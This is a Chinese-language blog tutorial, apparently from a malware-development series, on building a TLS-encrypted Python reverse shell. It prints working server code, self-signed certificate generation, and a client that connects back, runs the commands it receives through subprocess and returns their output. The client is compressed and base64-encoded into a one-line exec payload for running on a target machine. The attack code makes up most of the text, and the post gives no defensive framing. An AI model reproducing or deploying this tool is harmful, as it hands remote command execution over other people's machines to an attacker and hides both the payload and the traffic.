在本博客中,我们将介绍使用 Python 构建TLS 安全反向 shell的过程。此反向 shell 确保客户端和服务器之间的所有通信都使用自签名证书加密。代码可在此处找到Github Repo TLS 反向 shell:https://github.com/MohitDabas/Linux_Malware_Development/blob/main/ssl_reverse_shell/reverse_ssl.py
什么是反向 Shell?永久链接
反向 shell 是一种远程 shell,其中目标计算机(客户端)重新连接到攻击者的计算机(服务器)。然后服务器可以在客户端计算机上执行命令。
为了确保通信安全,我们将使用TLS(传输层安全性),它对服务器和客户端之间的所有流量进行加密。
守则的主要特点永久链接
TLS 安全:使用自签名证书进行加密通信。
动态客户端代码生成:生成单行 Python 客户端脚本。
线程服务器:使用线程处理多个客户端连接。
每次运行时重新生成密钥:确保每次执行脚本时都有新的密钥和证书。
代码演练
1.导入依赖项
import os
import socket
import ssl
from subprocess import run, CalledProcessError
import base64
import zlib
from threading import Thread
服务器的外部依赖项:
pip install pycryptodome
必须在系统上安装opensessl才能生成自签名证书。
模块及其用途
1.os
目的:用于文件和目录操作。
使用示例:创建、删除或修改文件和目录。
2.socket
目的:用于网络通讯。
使用示例:通过 TCP/IP 或 UDP 在客户端和服务器之间建立连接。
3.ssl
目的:用于启用 TLS(加密)。
使用示例:保护客户端和服务器之间传输的数据以防止被拦截。
4.subprocess
目的:运行系统命令。
使用示例:在 Python 内部执行 shell 命令或外部程序。
5.base64和zlib
目的:对客户端代码进行压缩和编码。
使用示例:
zlib压缩数据以节省带宽。
base64对其进行编码,以便通过可能不支持原始二进制的协议进行安全传输。
6.Thread
目的:同时处理多个客户端连接。
使用示例:为多客户端服务器应用程序中的每个客户端创建线程,以同时管理多个连接。
2. 生成密钥和证书
def keys_check_or_create(ip_address):
keys_dir = "keys"
os.makedirs(keys_dir, exist_ok=True) # Ensure the keys directory exists
# Remove existing keys and certificates
for file in os.listdir(keys_dir):
file_path = os.path.join(keys_dir, file)
if os.path.isfile(file_path):
os.remove(file_path)
print("[*] Existing keys and certificates removed.")
# Generate RSA key pair
from Crypto.PublicKey import RSA
key = RSA.generate(2048)
# Write the private key
private_key_path = os.path.join(keys_dir, "private_key.pem")
with open(private_key_path, "wb") as f:
f.write(key.export_key())
print("[*] Private key generated.")
# Write the public key
public_key_path = os.path.join(keys_dir, "public_key.pem")
with open(public_key_path, "wb") as f:
f.write(key.publickey().export_key())
print("[*] Public key generated.")
此功能:删除所有旧密钥或证书。生成新的 RSA 密钥对,并将私钥和公钥保存在密钥文件夹中。
3. 生成自签名证书
我们使用 OpenSSL 创建自签名证书。
def generate_certificate(private_key_path, cert_path, ip_address):
openssl_config = "openssl.cnf"
# Create OpenSSL configuration file
with open(openssl_config, "w") as f:
f.write(f"""
[ req ]
distinguished_name = req_distinguished_name
x509_extensions = v3_req
prompt = no
[ req_distinguished_name ]
C = US
ST = California
L = SanFrancisco
O = MyOrg
OU = IT
CN = {ip_address}
[ v3_req ]
subjectAltName = @alt_names
[ alt_names ]
IP.1 = {ip_address}
""")
配置文件使用主体备用名称 (SAN) 确保证书对于提供的 IP 地址有效。
run([
"openssl", "req", "-new", "-x509",
"-key", private_key_path,
"-out", cert_path,
"-days", "365",
"-config", openssl_config
], check=True)
print("[*] OpenSSL: Certificate generated successfully.")
4. 生成客户端代码
generate_and_compress_client_code 函数动态创建一个反向 shell 客户端脚本并将其压缩为一行。
def generate_and_compress_client_code(ip, port):
certfile = os.path.join("keys", "server.crt")
with open(certfile, "r") as f:
cert_content = f.read()
client_code = f"""
import socket, ssl, subprocess
CERT=\"\"\"{cert_content}\"\"\"
def connect():
context=ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.load_verify_locations(cadata=CERT)
with socket.create_connection(("{ip}", {port})) as sock:
with context.wrap_socket(sock, server_hostname="{ip}") as ssock:
while True:
cmd=ssock.recv(8192).decode()
if cmd.lower()=="exit":break
output=subprocess.getoutput(cmd)
ssock.sendall(output.encode())
connect()
"""
压缩并编码客户端代码:
compressed_code = zlib.compress(client_code.encode())
encoded_code = base64.b64encode(compressed_code).decode()
return f"import zlib,base64;exec(zlib.decompress(base64.b64decode('{encoded_code}')))"
5.启动服务器
def start_server(ip, port=443):
certfile, keyfile = keys_check_or_create(ip)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile=certfile, keyfile=keyfile)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
server_socket.bind((ip, port))
server_socket.listen(5)
print(f"[*] Server listening on {ip}:{port}")
with context.wrap_socket(server_socket, server_side=True) as tls_server:
while True:
client_socket, addr = tls_server.accept()
print(f"[+] Connection from {addr}")
Thread(target=handle_client, args=(client_socket,)).start()
服务器:
使用生成的证书和私钥创建 TLS 上下文。
监听客户端连接并在新线程中处理每个连接。
6.处理客户端命令
def handle_client(client_socket):
buffer_size = 8192
try:
while True:
command = input("Shell> ")
if command.lower() in ["exit", "quit"]:
client_socket.sendall(b"exit")
break
client_socket.sendall(command.encode())
response = client_socket.recv(buffer_size).decode()
print(response)
except Exception as e:
print(f"[!] Error: {e}")
finally:
client_socket.close()
7. 如何启动
1.启动服务器:
python reverse_ssl.py
2.在目标机器上运行客户端脚本:
python -c "<compressed_client_code>"
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里